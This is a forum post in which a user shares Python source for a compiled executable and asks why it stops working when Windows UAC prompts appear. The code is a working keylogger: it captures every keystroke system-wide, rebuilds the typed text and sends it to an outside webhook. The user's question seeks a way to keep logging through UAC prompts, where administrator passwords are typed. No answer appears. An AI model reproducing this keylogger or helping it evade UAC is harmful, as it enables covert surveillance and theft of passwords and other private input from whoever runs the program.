[Python] Windows uac popup stops my python exe from working

Discussão em 'Python' iniciado por Stack, Fevereiro 9, 2025.

  1. Stack

    Stack Membro Participativo

    I have written a simple python script and I have compiled it into an exe, but every time I open an app and windows asks me for admin password, it stops working. How do I get around this?

    import keyboard
    from dhooks import Webhook
    a = []
    hook = Webhook("my webhook")
    trf = False
    while not trf:
    event = keyboard.read_event()
    if event.name == "f3" and event.event_type == keyboard.KEY_UP:
    trf = True
    while True:
    event = keyboard.read_event()
    if event.event_type == keyboard.KEY_DOWN:
    a.append(event.name)
    if event.name == "f3":
    break
    txt = ""
    for i in a:
    if i == "space" :txt += " "
    elif i == "f3" :continue
    elif i == "shift" :continue
    elif i == "ctrl" :continue
    elif i == "backspace" :txt = txt[:-1]
    elif i == "up" or i == "down" :continue
    elif i == "left" or i == "right":continue
    elif i == "enter" :txt += " <enter> \n"
    else :txt += i
    hook.send(a)
    hook.send(txt)


    basically every time a uac window pops up the script stops listening to the keystrokes and returns nothing to the webhook

    Continue reading...

Compartilhe esta Página